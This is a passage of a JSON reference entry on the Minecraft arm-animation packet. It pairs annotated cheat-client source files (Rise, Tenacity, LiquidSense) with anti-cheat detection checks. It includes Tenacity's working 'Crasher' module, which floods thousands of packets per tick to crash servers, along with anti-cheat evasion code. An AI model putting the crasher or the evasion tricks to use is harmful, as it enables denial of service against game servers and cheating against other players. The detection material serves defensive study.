instanceof C0APacketAnimation) {\n            swing = true;\n        } else if (packet instanceof C02PacketUseEntity) {\n            attack = true;\n//            if (block) ChatUtil.display(\"BadPackets\");\n        } else if (packet instanceof C08PacketPlayerBlockPlacement || packet instanceof C07PacketPlayerDigging) {\n            block = true;\n//            if (attack) ChatUtil.display(\"BadPackets\");\n        } else if (packet instanceof C0EPacketClickWindow ||\n                (packet instanceof C16PacketClientStatus && ((C16PacketClientStatus) packet).getStatus() == OPEN_INVENTORY_ACHIEVEMENT) ||\n                packet instanceof C0DPacketCloseWindow) {\n            inventory = true;\n        } else if (packet instanceof C03PacketPlayer) {\n            reset();\n        }\n    };\n\n    public static void reset() {\n        slot = false;\n        swing = false;\n        attack = false;\n        block = false;\n        inventory = false;\n    }\n}\n// NOTE (AI): C0A is one of five flags. The component exists so velocity and disabler modes can check that no swing, click or attack is in flight before injecting packets, which is exactly what GrimReduceVelocity and WatchdogDisabler do.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BadPacketsComponent.java",
      "vanilla_hook": "PacketSendEvent (VERY_HIGH priority); reset on C03PacketPlayer.",
      "anti_cheat_notes": "The component is defensive: it prevents the client from emitting overlapping action packets that anti-cheats read as impossible sequences.",
      "variations": "Identical in Rise 6.1.30 and 6.2.4. It is also the gate for the C0D close in WatchdogDisabler and the C0A send in GrimReduceVelocity."
     },
     {
      "name": "Crasher",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Lag or kill the server by flooding zero-payload swings, exploiting the server's per-packet broadcast cost.",
      "how_it_works": "On every MotionEvent, loop 2000 iterations (Vanilla mode) or 10000 (Boom mode) pushing new C0APacketAnimation() into the send queue in a single tick.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/exploit/Crasher.java =====\npackage dev.tenacity.module.impl.exploit;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.player.MotionEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.setting.impl.ModeSetting;\nimport dev.tenacity.util.misc.ChatUtil;\nimport dev.tenacity.util.misc.TimerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.concurrent.TimeUnit;\nimport java.io.*;\nimport java.lang.Thread;\n\npublic final class Crasher extends Module {\n\n    private final TimerUtil timerUtil = new TimerUtil();\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", \"Vanilla\", \"Boom\");\n\n    public Crasher() {\n        super(\"Crasher\", \"Makes server go kaboom\", ModuleCategory.EXPLOIT);\n        initializeSettings(mode);\n    }\n\n    private final IEventListener<MotionEvent> onMotionEvent = event -> {\n        switch(mode.getCurrentMode()) {\n            case \"Vanilla\": {\n                for (int i = 0; i < 2000; i++) {\n                    mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());\n                }\n                break;\n            }\n            case \"Boom\": {\n                for (int i = 0; i < 10000; i++) {\n                    mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());\n                }\n                break;\n            }\n\n        }\n    };\n}\n// NOTE (AI): Each C0A costs the server a markPlayerActive call, a swingItem call and an S0BPacketAnimation broadcast to every tracker; 10000 per tick is a broadcast storm. The Boom mode name is literal.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/exploit/Crasher.java",
      "vanilla_hook": "MotionEvent; packets are queued via addToSendQueue, not a packet event.",
      "anti_cheat_notes": "Trips packet-rate limits instantly on any server with them; this is a grief tool, not a bypass.",
      "variations": "None in the corpus; Tenacity also lists C0A in its PacketUtil as one of the packet types that bypass the send queue filter."
     },
     {
      "name": "GrimReduceVelocity",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Pair a swing with the velocity-reduction attack so the attack sequence looks legitimate to anti-cheats.",
      "how_it_works": "On PreUpdateEvent, if within 14 ticks of taking velocity and BadPacketsComponent.bad() is false, send C0APacketAnimation then call playerController.attackEntity on the nearest target. The swing precedes the attack so the server sees a clean swing-attack pair.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/GrimReduceVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.component.impl.player.BadPacketsComponent;\nimport com.alan.clients.component.impl.player.TargetComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.network.play.client.C0APacketAnimation;\n\nimport java.util.List;\n\npublic final class GrimReduceVelocity extends Mode<Velocity> {\n\n    public GrimReduceVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if (getParent().onSwing.getValue() && !mc.thePlayer.isSwingInProgress ||\n                mc.thePlayer.ticksExisted <= 20) return;\n\n        List<EntityLivingBase> targets = TargetComponent.getTargets(7);\n\n        if (targets.isEmpty()) return;\n\n        if (mc.thePlayer.ticksSinceVelocity <= 14 && !BadPacketsComponent.bad()) {\n            PacketUtil.send(new C0APacketAnimation());\n            mc.playerController.attackEntity(mc.thePlayer, targets.get(0));\n        }\n    };\n}\n// NOTE (AI): The C0A send is gated on the bad-packet flag, showing how the swing state bit is consumed. AACVelocity, WatchdogPredictionVelocity and WatchdogLongJump import C0A for the same family; BlockFlight and UnKnownAC send it during flight, AntiFireBall and Clutch send it before their own actions.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/GrimReduceVelocity.java",
      "vanilla_hook": "PreUpdateEvent.",
      "anti_cheat_notes": "The swing makes the velocity attack read as a normal hit; the real flag surface is the velocity reduction itself, not the swing.",
      "variations": "The same swing-before-action pattern appears across the Rise 6.x velocity and flight tree: AACVelocity, WatchdogPredictionVelocity, WatchdogLongJump, BlockFlight, UnKnownAC, AntiFireBall, Clutch. Rise 6.1.30's AntiFireBall uses PacketUtil.sendNoEvent instead of send."
     },
     {
      "name": "Tower",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Swing for the tower placement: send C0A when the swing setting is off, mirroring the swingItem() path.",
      "how_it_works": "After onPlayerRightClick returns true, swing via swingItem() when the Swing setting is on, otherwise send C0A through the net handler. The C09 slot switch and the C04 packet-mode ladder are this file's other packet faces.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/world/Tower.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.world;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.ui.font.Fonts;\nimport net.ccbluex.liquidbounce.utils.*;\nimport net.ccbluex.liquidbounce.utils.block.BlockUtils;\nimport net.ccbluex.liquidbounce.utils.block.PlaceInfo;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.*;\nimport net.minecraft.stats.StatList;\nimport org.lwjgl.input.Keyboard;\nimport net.minecraft.util.Vec3;\n\nimport java.awt.*;\n\n@ModuleInfo(name = \"Tower\", description = \"Automatically builds a tower beneath you.\", category = ModuleCategory.WORLD, keyBind = Keyboard.KEY_O)\npublic class Tower extends Module {\n\n    /**\n     * OPTIONS\n     */\n\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[] {\"Hypixel\",\"Jump\", \"Motion\", \"ConstantMotion\", \"MotionTP\", \"Packet\", \"Teleport\", \"AAC3.3.9\"}, \"Motion\");\n    private final BoolValue autoBlockValue = new BoolValue(\"AutoBlock\", true);\n    private final BoolValue stayAutoBlock = new BoolValue(\"StayAutoBlock\", false);\n    private final BoolValue swingValue = new BoolValue(\"Swing\", true);\n    private final BoolValue stopWhenBlockAbove = new BoolValue(\"StopWhenBlockAbove\", false);\n    private final BoolValue rotationsValue = new BoolValue(\"Rotations\", true);\n    private final BoolValue keepRotationValue = new BoolValue(\"KeepRotation\", false);\n    private final BoolValue onJumpValue = new BoolValue(\"OnJump\", false);\n    private final ListValue placeModeValue = new ListValue(\"PlaceTiming\", new String[]{\"Pre\", \"Post\"}, \"Post\");\n\n    private final FloatValue timerValue = new FloatValue(\"Timer\", 1F, 0F, 10F);\n\n    // Jump mode\n    private final FloatValue jumpMotionValue = new FloatValue(\"JumpMotion\", 0.42F, 0.3681289F, 0.79F);\n    private final IntegerValue jumpDelayValue = new IntegerValue(\"JumpDelay\", 0, 0, 20);\n\n    // ConstantMotion\n    private final FloatValue constantMotionValue = new FloatValue(\"ConstantMotion\", 0.42F, 0.1F, 1F);\n    private final FloatValue constantMotionJumpGroundValue = new FloatValue(\"ConstantMotionJumpGround\", 0.79F, 0.76F, 1F);\n\n    // Teleport\n    private final FloatValue teleportHeightValue = new FloatValue(\"TeleportHeight\", 1.15F, 0.1F, 5F);\n    private final IntegerValue teleportDelayValue = new IntegerValue(\"TeleportDelay\", 0, 0, 20);\n    private final BoolValue teleportGroundValue = new BoolValue(\"TeleportGround\", true);\n    private final BoolValue teleportNoMotionValue = new BoolValue(\"TeleportNoMotion\", false);\n\n    // Render\n    private final BoolValue counterDisplayValue = new BoolValue(\"Counter\", true);\n\n    /**\n     * MODULE\n     */\n\n    // Target block\n    private PlaceInfo placeInfo;\n\n    // Rotation lock\n    private Rotation lockRotation;\n\n    // Mode stuff\n    private final TickTimer timer = new TickTimer();\n    private double jumpGround = 0;\n\n    // AutoBlock\n    private int slot;\n\n    @Override\n    public void onDisable() {\n        if (mc.thePlayer == null) return;\n\n        mc.timer.timerSpeed = 1F;\n        lockRotation = null;\n\n        if (slot != mc.thePlayer.inventory.currentItem)\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n    }\n\n    @EventTarget\n    public void onMotion(final MotionEvent event) {\n        if (onJumpValue.get() && !mc.gameSettings.keyBindJump.isKeyDown())\n            return;\n\n        // Lock Rotation\n        if (rotationsValue.get() && keepRotationValue.get() && lockRotation != null)\n            RotationUtils.setTargetRotation(lockRotation);\n\n        mc.timer.timerSpeed = timerValue.get();\n\n        final EventState eventState = event.getEventState();\n\n        if (placeModeValue.get().equalsIgnoreCase(eventState.getStateName()))\n            place();\n\n        if (eventState == EventState.PRE) {\n            placeInfo = null;\n            timer.update();\n\n            if (autoBlockValue.get() ? InventoryUtils.findAutoBlockBlock() != -1 : mc.thePlayer.getHeldItem() != null\n                    && mc.thePlayer.getHeldItem().getItem() instanceof ItemBlock) {\n                if (!stopWhenBlockAbove.get() || BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX,\n                        mc.thePlayer.posY + 2, mc.thePlayer.posZ)) instanceof BlockAir)\n                    move();\n\n                final BlockPos blockPos = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1D, mc.thePlayer.posZ);\n                if (mc.theWorld.getBlockState(blockPos).getBlock() instanceof BlockAir) {\n                    if (search(blockPos) && rotationsValue.get()) {\n                        final VecRotation vecRotation = RotationUtils.faceBlock(blockPos);\n\n                        if (vecRotation != null) {\n                            RotationUtils.setTargetRotation(vecRotation.getRotation());\n                            placeInfo.setVec3(vecRotation.getVec());\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    //Send jump packets, bypasses Hypixel.\n    private void fakeJump() {\n        mc.thePlayer.isAirBorne = true;\n        mc.thePlayer.triggerAchievement(StatList.jumpStat);\n    }\n\n    /**\n     * Move player\n     */\n    private void move() {\n        switch (modeValue.get().toLowerCase()) {\n            case \"hypixel\":\n                if(this.getBlocksAmount() > 0) {\n                    if(mc.thePlayer.moveForward != 0.0f || mc.thePlayer.moveStrafing != 0.0) {\n                        double gay2 = 0.419999215712222222222531351325;\n                        double lit = 0.42d;\n                        double baseSpeed = 0.2873D;\n                        if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) {\n                            int amplifier = mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier();\n                            baseSpeed *= 1.0D + 0.2D * (double) (amplifier + 1);\n                        }\n                        if (mc.thePlayer.isPotionActive(Potion.jump)) {\n                            gay2 += (double) ((float) (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1f);\n                            lit -= (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.075;\n                            baseSpeed -= 0.05 * (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1);\n\n                        }\n                        if (mc.thePlayer.motionY < gay2 * lit) {\n                            mc.thePlayer.motionY = gay2;\n                        }\n                        if (mc.thePlayer.posY >= Math.round(mc.thePlayer.posY) - 0.0001 && mc.thePlayer.posY <= Math.round(mc.thePlayer.posY) + 0.0001) {\n                            mc.thePlayer.motionY = 0;\n                        }\n\n                    }else {\n                        double gay2 = 0.419999215712222222222531351325;\n                        double lit = 0.42d;\n                        if (mc.thePlayer.isPotionActive(Potion.jump)) {\n                            gay2 += (double)((float)(mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1f);\n                            lit -= (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1)*0.075;\n                        }\n                        if(mc.thePlayer.motionY <gay2*lit){\n                            mc.thePlayer.motionY=gay2;\n                        }\n\n                    }\n                }\n                break;\n            case \"jump\":\n                if (mc.thePlayer.onGround && timer.hasTimePassed(jumpDelayValue.get())) {\n                    fakeJump();\n                    mc.thePlayer.motionY = jumpMotionValue.get();\n                    timer.reset();\n                }\n                break;\n            case \"motion\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    mc.thePlayer.motionY = 0.42D;\n                } else if (mc.thePlayer.motionY < 0.1D) mc.thePlayer.motionY = -0.3D;\n                break;\n            case \"motiontp\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    mc.thePlayer.motionY = 0.42D;\n                } else if (mc.thePlayer.motionY < 0.23D)\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, (int) mc.thePlayer.posY, mc.thePlayer.posZ);\n                break;\n            case \"packet\":\n                if (mc.thePlayer.onGround && timer.hasTimePassed(2)) {\n                    fakeJump();\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                            mc.thePlayer.posY + 0.42D, mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                            mc.thePlayer.posY + 0.753D, mc.thePlayer.posZ, false));\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1D, mc.thePlayer.posZ);\n                    timer.reset();\n                }\n                break;\n            case \"teleport\":\n                if (teleportNoMotionValue.get())\n                    mc.thePlayer.motionY = 0;\n\n                if ((mc.thePlayer.onGround || !teleportGroundValue.get()) && timer.hasTimePassed(teleportDelayValue.get())) {\n                    fakeJump();\n                    mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + teleportHeightValue.get(), mc.thePlayer.posZ);\n                    timer.reset();\n                }\n                break;\n            case \"constantmotion\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    jumpGround = mc.thePlayer.posY;\n                    mc.thePlayer.motionY = constantMotionValue.get();\n                }\n\n                if (mc.thePlayer.posY > jumpGround + constantMotionJumpGroundValue.get()) {\n                    fakeJump();\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, (int) mc.thePlayer.posY, mc.thePlayer.posZ);\n                    mc.thePlayer.motionY = constantMotionValue.get();\n                    jumpGround = mc.thePlayer.posY;\n                }\n                break;\n            case \"aac3.3.9\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    mc.thePlayer.motionY = 0.4001;\n                }\n                mc.timer.timerSpeed = 1F;\n\n                if (mc.thePlayer.motionY < 0) {\n                    mc.thePlayer.motionY -= 0.00000945;\n                    mc.timer.timerSpeed = 1.6F;\n                }\n                break;\n        }\n    }\n\n    /**\n     * Place target block\n     */\n    private void place() {\n        if(placeInfo == null)\n            return;\n\n        // AutoBlock\n        int blockSlot = -1;\n        ItemStack itemStack = mc.thePlayer.getHeldItem();\n\n        if(mc.thePlayer.getHeldItem() == null || !(mc.thePlayer.getHeldItem().getItem() instanceof ItemBlock)) {\n            if(!autoBlockValue.get())\n                return;\n\n            blockSlot = InventoryUtils.findAutoBlockBlock();\n\n            if(blockSlot == -1)\n                return;\n\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(blockSlot - 36));\n            itemStack = mc.thePlayer.inventoryContainer.getSlot(blockSlot).getStack();\n        }\n\n        // Place block\n        if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, itemStack, this.placeInfo.getBlockPos(),\n                placeInfo.getEnumFacing(), placeInfo.getVec3())) {\n            if(swingValue.get())\n                mc.thePlayer.swingItem();\n            else\n                mc.getNetHandler().addToSendQueue(new C0APacketAnimation());\n        }\n        this.placeInfo = null;\n\n        // Switch back to old slot when using auto block\n        if (!stayAutoBlock.get() && blockSlot >= 0)\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n    }\n\n    /**\n     * Search for placeable block\n     *\n     * @param blockPosition pos\n     * @return\n     */\n    private boolean search(final BlockPos blockPosition) {\n        if (!BlockUtils.isReplaceable(blockPosition))\n            return false;\n\n        final Vec3 eyesPos = new Vec3(mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY +\n                mc.thePlayer.getEyeHeight(), mc.thePlayer.posZ);\n\n        PlaceRotation placeRotation = null;\n\n        for (final EnumFacing side : EnumFacing.values()) {\n            final BlockPos neighbor = blockPosition.offset(side);\n\n            if (!BlockUtils.canBeClicked(neighbor))\n                continue;\n\n            final Vec3 dirVec = new Vec3(side.getDirectionVec());\n\n            for (double xSearch = 0.1D; xSearch < 0.9D; xSearch += 0.1D) {\n                for (double ySearch = 0.1D; ySearch < 0.9D; ySearch += 0.1D) {\n                    for (double zSearch = 0.1D; zSearch < 0.9D; zSearch += 0.1D) {\n                        final Vec3 posVec = new Vec3(blockPosition).addVector(xSearch, ySearch, zSearch);\n                        final double distanceSqPosVec = eyesPos.squareDistanceTo(posVec);\n                        final Vec3 hitVec = posVec.add(new Vec3(dirVec.xCoord * 0.5, dirVec.yCoord * 0.5, dirVec.zCoord * 0.5));\n\n                        if ((eyesPos.squareDistanceTo(hitVec) > 18D ||\n                                distanceSqPosVec > eyesPos.squareDistanceTo(posVec.add(dirVec)) ||\n                                mc.theWorld.rayTraceBlocks(eyesPos, hitVec, false,\n                                        true, false) != null))\n                            continue;\n\n                        // face block\n                        final double diffX = hitVec.xCoord - eyesPos.xCoord;\n                        final double diffY = hitVec.yCoord - eyesPos.yCoord;\n                        final double diffZ = hitVec.zCoord - eyesPos.zCoord;\n\n                        final double diffXZ = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ);\n\n                        final Rotation rotation = new Rotation(\n                                MathHelper.wrapAngleTo180_float((float) Math.toDegrees(Math.atan2(diffZ, diffX)) - 90F),\n                                MathHelper.wrapAngleTo180_float((float) -Math.toDegrees(Math.atan2(diffY, diffXZ)))\n                        );\n\n                        final Vec3 rotationVector = RotationUtils.getVectorForRotation(rotation);\n                        final Vec3 vector = eyesPos.addVector(rotationVector.xCoord * 4, rotationVector.yCoord * 4, rotationVector.zCoord * 4);\n                        final MovingObjectPosition obj = mc.theWorld.rayTraceBlocks(eyesPos, vector, false,\n                                false, true);\n\n                        if (!(obj.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && obj.getBlockPos().equals(neighbor)))\n                            continue;\n\n                        if (placeRotation == null || RotationUtils.getRotationDifference(rotation) <\n                                RotationUtils.getRotationDifference(placeRotation.getRotation()))\n                            placeRotation = new PlaceRotation(new PlaceInfo(neighbor, side.getOpposite(), hitVec), rotation);\n                    }\n                }\n            }\n        }\n\n        if (placeRotation == null)\n            return false;\n\n        if (rotationsValue.get()) {\n            RotationUtils.setTargetRotation(placeRotation.getRotation(), 0);\n            lockRotation = placeRotation.getRotation();\n        }\n\n        placeInfo = placeRotation.getPlaceInfo();\n        return true;\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if(mc.thePlayer == null)\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n        if(packet instanceof C09PacketHeldItemChange) {\n            final C09PacketHeldItemChange packetHeldItemChange = (C09PacketHeldItemChange) packet;\n\n            slot = packetHeldItemChange.getSlotId();\n        }\n    }\n\n    /**\n     * Tower visuals\n     *\n     * @param event\n     */\n    @EventTarget\n    public void onRender2D(final Render2DEvent event) {\n        if(counterDisplayValue.get()) {\n            GlStateManager.pushMatrix();\n\n            final String info = \"Blocks: §7\" + getBlocksAmount();\n            final ScaledResolution scaledResolution = new ScaledResolution(mc);\n            RenderUtils.drawBorderedRect((scaledResolution.getScaledWidth() / 2) - 2, (scaledResolution.getScaledHeight() / 2) + 5, (scaledResolution.getScaledWidth() / 2) + Fonts.font40.getStringWidth(info) + 2, (scaledResolution.getScaledHeight() / 2) + 16, 3, Color.BLACK.getRGB(), Color.BLACK.getRGB());\n            GlStateManager.resetColor();\n            Fonts.font40.drawString(info, scaledResolution.getScaledWidth() / 2, scaledResolution.getScaledHeight() / 2 + 7, Color.WHITE.getRGB());\n\n            GlStateManager.popMatrix();\n        }\n    }\n\n    @EventTarget\n    public void onJump(final JumpEvent event) {\n        if (onJumpValue.get())\n            event.cancelEvent();\n    }\n\n    /**\n     * @return hotbar blocks amount\n     */\n    private int getBlocksAmount() {\n        int amount = 0;\n\n        for(int i = 36; i < 45; i++) {\n            final ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n\n            if(itemStack != null && itemStack.getItem() instanceof ItemBlock)\n                amount += itemStack.stackSize;\n        }\n\n        return amount;\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): The swing branch sends C0A when the Swing setting is off instead of calling swingItem(), keeping the server-side swing while suppressing the local animation. The C09 slot switch and the C04 packet-mode ladder are this file's other packet faces.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/world/Tower.java",
      "vanilla_hook": "MotionEvent placement path; C0A via getNetHandler().addToSendQueue.",
      "anti_cheat_notes": "Suppressing the local swing while the server still sees one is the NoSwing trick; the swing rate itself is normal because it tracks one placement per jump.",
      "variations": "November's ScaffoldModule has the same swing-or-C0A branch; the C03 impl documents Tower's C04 ladder."
     }
    ],
    "general_hooks": "PacketSendEvent is the filter surface: Rise 5.99 AutoGap checks instanceof C0APacketAnimation to time eating, Freecam/FreeCam whitelist C0A in packet passthrough lists, and Spicy CsgoSpinbot and YawAndPitchSpoof match it in packet events. Tenacity PacketUtil counts C0A among packet types exempt from its send queue.",
    "client_variations": "Older clients (Memeware, Nekoware, Sigma, Spicy, Tenacity) push via mc.thePlayer.sendQueue.addToSendQueue; Rise 5.99 uses PacketUtil.sendPacket; Rise 6.x uses PacketUtil.send and sendNoEvent. The Rise 6.1.30 AntiFireBall uses sendNoEvent where 6.2.4 uses send.",
    "related": [
     "S0BPacketAnimation",
     "C02PacketUseEntity",
     "C08PacketPlayerBlockPlacement"
    ],
    "anticheat": {
     "overview": "The arm animation packet is an empty swing signal and the only per-click client input anticheats see reliably, which makes it the primitive of every autoclicker check in the corpus. Statistical checks sample the number of movement packets between swings and flag low-variance or excessive click rates (Frequency AutoClickerA, FlopAC AutoClickerA, Hydro's ArmAnimationCheck family). It is also the swing half of swing-break correlation checks (Grim NoSwingBreak) that catch nuker clients breaking blocks without swinging.",
     "checks": [
      {
       "name": "AutoClickerA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus"
       ],
       "purpose": "Classic low-deviation autoclicker check over the arm animation stream.",
       "how_it_works": "Samples the number of flying packets between WrappedPlayInArmAnimation packets, keeping a deque of 20 movement gaps. Samples are only accepted when CPS is above 6.5, fewer than 4 movements separate clicks, and the player is neither digging nor placing. When 20 samples accumulate it computes the standard deviation and outlier count; a deviation below 2 with fewer than 2 outliers fails the check.",
       "detects": "Autoclickers with mechanical timing, where the gap between swings has near-zero variance.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/autoclicker/AutoClickerA.java =====\npackage xyz.elevated.frequency.check.impl.autoclicker;\n\nimport com.google.common.collect.Lists;\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.util.MathUtil;\nimport xyz.elevated.frequency.util.Pair;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInArmAnimation;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\n\nimport java.util.Deque;\nimport java.util.List;\n\n@CheckData(name = \"AutoClicker (A)\")\npublic final class AutoClickerA extends PacketCheck {\n\n    private int movements = 0;\n    private final Deque<Integer> samples = Lists.newLinkedList();\n\n    public AutoClickerA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInArmAnimation) {\n            final boolean valid = playerData.getCps().get() > 6.5\n                    && movements < 4 && !playerData.getActionManager().getDigging().get() && !playerData.getActionManager().getPlacing().get();\n\n            // If the movement are not incredibly low and the player isn't digging\n            if (valid) samples.add(movements);\n\n            if (samples.size() == 20) {\n                // Get the outliers properly from the math utility\n                final Pair<List<Double>, List<Double>> outlierPair = MathUtil.getOutliers(samples);\n\n                // Get the deviation from the math utility and the outliers\n                final double deviation = MathUtil.getStandardDeviation(samples);\n                final double outliers = outlierPair.getX().size() + outlierPair.getY().size();\n\n                // Low deviation and low outliers\n                if (deviation < 2.d && outliers < 2) fail();\n\n                // Clear the list\n                samples.clear();\n            }\n\n            // Reset the movements\n            movements = 0;\n        } else if (object instanceof WrappedPlayInFlying) {\n            ++movements;\n        }\n    }\n}\n// NOTE (AI): Frequency AutoClickerA samples the movements between arm animation packets, requires a CPS above 6.5, and flags when 20 samples show a standard deviation below 2 with fewer than 2 outliers: the low-variance click pattern of an autoclicker.\n",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/autoclicker/AutoClickerA.java",
       "variations": "AutoClickerB through G in the same package add delay patterns, outlier ratios and CPS caps; Degrade's AutoClickerA and Hydro's AutoClickerA/B/C follow the same statistical template."
      },
      {
       "name": "NoSwingBreak (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Swing-break correlation: every block break must be accompanied by an arm animation.",
       "how_it_works": "Implements BlockBreakListener and PreViaPacketReceiveListener. It sets sentBreak on a non-cancelled break action, sets sentAnimation when the ANIMATION packet arrives, and on the next tick packet flags if a break was sent without an animation in between, then resets both flags.",
       "detects": "Nuker and instamine clients that break blocks without sending swings, and killaura-style dig abuse.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/breaking/NoSwingBreak.java =====\npackage ac.grim.grimac.checks.impl.breaking;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.BlockBreakListener;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockBreak;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\n\n@CheckData(name = \"NoSwingBreak\", stableKey = \"grim.breaking.no_swing_break\", description = \"Did not swing while breaking block\", experimental = true)\npublic class NoSwingBreak extends Check implements BlockBreakListener, PreViaPacketReceiveListener {\n    private boolean sentAnimation;\n    private boolean sentBreak;\n\n    public NoSwingBreak(GrimPlayer playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void onBlockBreak(BlockBreak blockBreak) {\n        if (blockBreak.action != DiggingAction.CANCELLED_DIGGING) {\n            sentBreak = true;\n        }\n    }\n\n    @Override\n    public 